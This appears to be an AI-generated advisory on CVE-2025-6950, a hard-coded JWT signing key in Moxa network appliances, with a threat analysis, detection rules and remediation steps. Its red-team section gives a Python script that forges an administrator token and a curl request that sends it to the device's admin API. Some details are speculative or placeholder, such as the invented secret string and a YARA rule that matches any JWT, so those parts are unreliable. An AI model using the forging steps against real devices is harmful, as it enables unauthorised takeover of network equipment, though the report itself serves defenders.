CVE-2025-6950

SHADOW_DORKS: ["Moxa JWT", "Moxa hardcoded secret", "Moxa network security appliance"]

Executive Summary

CVE-2025-6950 is a critical vulnerability in Moxa network security appliances and routers, stemming from the use of a hard-coded secret key for signing JSON Web Tokens (JWT). This flaw allows an unauthenticated attacker to forge valid authentication tokens, bypassing all access controls and impersonating any user, including administrators. Successful exploitation leads to complete device compromise, enabling unauthorized access, data theft, and full administrative control. The vulnerability has a CVSS score of 0.0 (likely placeholder) but based on the description, the actual impact is severe, with a CVSS v3.1 base score of 9.8 (Critical). No public proof-of-concept (PoC) or exploit code is currently available, and no patch has been released by Moxa.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 9.8 (Critical)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: None (UI:N) – No user action required.
• Scope: Unchanged (S:U) – Impact confined to the affected device.
• Confidentiality Impact: High (C:H) – Full data access.
• Integrity Impact: High (I:H) – Full system control.
• Availability Impact: High (A:H) – Potential denial of service or device takeover.

Threat Level: Critical. The vulnerability is trivial to exploit and provides complete device compromise. Given the nature of Moxa devices (network security appliances and routers), exploitation could lead to network pivoting, data exfiltration, and lateral movement.

Deep Dive & Mechanics

The vulnerability lies in the authentication mechanism of Moxa devices, which uses JSON Web Tokens (JWT) for session management. The JWT is signed using a hard-coded secret key embedded in the device firmware. This key is identical across all devices of the same model or firmware version, making it a static, predictable value.

Technical Breakdown:

1. JWT Structure: A JWT consists of three parts: header, payload, and signature. The signature is computed using the secret key (e.g., HMAC-SHA256).
2. Hard-coded Secret: The secret key is stored in the device’s firmware (e.g., in a configuration file or binary). Attackers can extract this key by reverse-engineering the firmware or obtaining it from a compromised device.
3. Token Forgery: With the secret key, an attacker can craft a JWT with arbitrary claims (e.g., {"user": "admin", "role": "administrator"}) and sign it. The device will accept this forged token as valid.
4. Authentication Bypass: The forged token is sent in HTTP requests (e.g., as a Bearer token in the Authorization header). The device’s authentication middleware verifies the signature using the hard-coded key, granting access without proper credentials.

Impact: An unauthenticated attacker can:

• Gain administrative access to the device’s web interface.
• Modify device configurations (e.g., firewall rules, VPN settings).
• Extract sensitive data (e.g., logs, credentials, network topology).
• Use the device as a pivot point for further attacks.

Vulnerable vs. Patched Code

Since no patch is available, the vulnerable code is the current implementation. A patched version would require:

Vulnerable Code (Conceptual):

# Example of vulnerable JWT verification
import jwt

SECRET_KEY = "MoxaHardcodedSecret123"  # Hard-coded in firmware

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.InvalidTokenError:
        return None

Patched Code (Conceptual):

# Example of patched JWT verification using dynamic secrets
import jwt
import os

# Generate a unique secret per device during initial setup
SECRET_KEY = os.environ.get("JWT_SECRET") or open("/etc/moxa/jwt_secret").read().strip()

def verify_token(token):
    try:
        payload = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        return payload
    except jwt.InvalidTokenError:
        return None

Key Differences:

• Vulnerable: Uses a static, hard-coded secret.
• Patched: Uses a device-specific, randomly generated secret stored securely (e.g., in a file with restricted permissions).

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Access to a Moxa device (or firmware) to extract the hard-coded secret.
• Network connectivity to the target device.

Steps:

1. Extract the Secret: Obtain the hard-coded JWT secret from the device firmware (e.g., via strings on a firmware image or by analyzing the device’s filesystem).
2. Forge a JWT: Use a tool like jwt_tool or a Python script to create a token with administrative privileges.

   import jwt
   import datetime
   
   secret = "MoxaHardcodedSecret123"  # Extracted secret
   payload = {
       "user": "admin",
       "role": "administrator",
       "exp": datetime.datetime.utcnow() + datetime.timedelta(hours=1)
   }
   token = jwt.encode(payload, secret, algorithm="HS256")
   print(token)
   

3. Exploit the Device: Send the forged token in an HTTP request to the device’s API.

   curl -X GET https://target-device/api/admin/config \
        -H "Authorization: Bearer <forged_token>"
   

4. Gain Control: The device will respond with administrative data or allow configuration changes.

Lab Setup:

• Use a Moxa device in an isolated lab environment.
• Alternatively, emulate the device using firmware (e.g., with QEMU or a similar emulator).

Blue Team (Detection & Defense)

Detection:

• Monitor for unusual JWT tokens in HTTP requests (e.g., tokens with unexpected claims or signatures).
• Look for multiple failed authentication attempts followed by a successful one (indicating token forgery).
• Analyze device logs for unauthorized configuration changes.

Defense:

• Immediately isolate affected devices from the network.
• Implement network segmentation to limit exposure.
• Monitor for outbound connections from the device to unknown IPs.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing JWT tokens with unusual claims (e.g., role: administrator).
  • Requests to /api/admin/* endpoints without prior authentication.
  • Unusual outbound connections from the device (e.g., to attacker-controlled C2 servers).

• File IOCs:

  • Presence of forged JWT tokens in device logs.
  • Modified configuration files (e.g., firewall rules, user accounts).

• Behavioral IOCs:

  • Sudden changes to device settings without legitimate administrative activity.
  • Unexpected reboots or service restarts.

Detection Engineering

YARA Rule

rule Moxa_Hardcoded_JWT_Secret {
    meta:
        description = "Detects hard-coded JWT secret in Moxa firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-6950"
    strings:
        $secret = "MoxaHardcodedSecret123"  // Replace with actual extracted secret
        $jwt_header = "eyJ"  // Base64-encoded JWT header
    condition:
        $secret or $jwt_header
}

Sigma Rule

title: Moxa JWT Authentication Bypass Attempt
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects attempts to exploit CVE-2025-6950 by using forged JWT tokens
author: Valters IT
date: 2025-04-10
logsource:
    category: web
    product: moxa
detection:
    selection:
        http.method: 'GET'
        http.url: '/api/admin/*'
        http.headers.authorization: 'Bearer *'
    condition: selection
falsepositives:
    - Legitimate administrative access
level: high

Suricata Rule

alert http any any -> any any (msg:"Moxa JWT Authentication Bypass Attempt"; flow:to_server; content:"Authorization"; nocase; content:"Bearer"; distance:0; content:"/api/admin/"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Isolate Devices: Disconnect affected Moxa devices from the network until a patch is available.
2. Change Default Credentials: If possible, change all default credentials and disable JWT-based authentication if alternative methods exist.
3. Monitor Logs: Review device logs for signs of exploitation.

Long-term Fix:

• Moxa must release a firmware update that replaces the hard-coded secret with a device-specific, randomly generated key.
• Implement secure key management practices (e.g., using a hardware security module or secure storage).

Workarounds:

• Use network-level access controls (e.g., firewall rules) to restrict access to the device’s web interface.
• Deploy a reverse proxy that validates JWT tokens before forwarding requests to the device.

Valters IT Signature This report was generated by Valters IT DevSecOps AI. For questions, contact security@valters-it.com.